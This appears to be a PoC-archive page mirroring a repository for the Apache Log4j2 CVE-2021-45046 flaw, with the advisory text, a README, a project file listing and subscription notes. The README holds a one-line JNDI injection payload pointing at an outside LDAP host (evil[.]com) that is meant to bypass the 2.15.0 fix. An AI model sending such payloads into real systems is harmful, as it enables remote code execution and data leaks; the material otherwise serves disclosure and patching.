Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-45046 PoC — Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack

Source
Associated Vulnerability
Title:Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack (CVE-2021-45046)
Description:It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.
Description
Log4j 2.15.0 Privilege Escalation -- CVE-2021-45046
Readme
# Log4j 2.15.0 Privilege Escalation -- CVE-2021-45046

## Attack

![](images/1.png)

## Discription

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property `log4j2.noFormatMsgLookup` to `true` do NOT mitigate this specific vulnerability. Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (<2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

## cvss 3.7 -> 9

Poc

```
${jndi:ldap://127.0.0.1#evil[.]com:1389/a}
```

## Log4shell Topic

https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j

## Welcome to contribute in reapoc

https://github.com/cckuailong/reapoc
File Snapshot

[4.0K] /data/pocs/b4633dc2a1dbda595cdfba8657cf4be065246e65 ├── [4.0K] images │   └── [264K] 1.png ├── [ 80] log4j_RCE.iml ├── [2.5K] pom.xml ├── [1.4K] README.md └── [4.0K] src ├── [4.0K] main │   ├── [4.0K] java │   │   ├── [4.0K] META-INF │   │   │   └── [ 40] MANIFEST.MF │   │   └── [ 354] Test.java │   ├── [4.0K] resources │   │   └── [ 416] log4j2.xml │   └── [4.0K] webapp │   ├── [ 255] index.jsp │   └── [4.0K] WEB-INF │   └── [ 215] web.xml └── [4.0K] META-INF └── [ 40] MANIFEST.MF 9 directories, 10 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →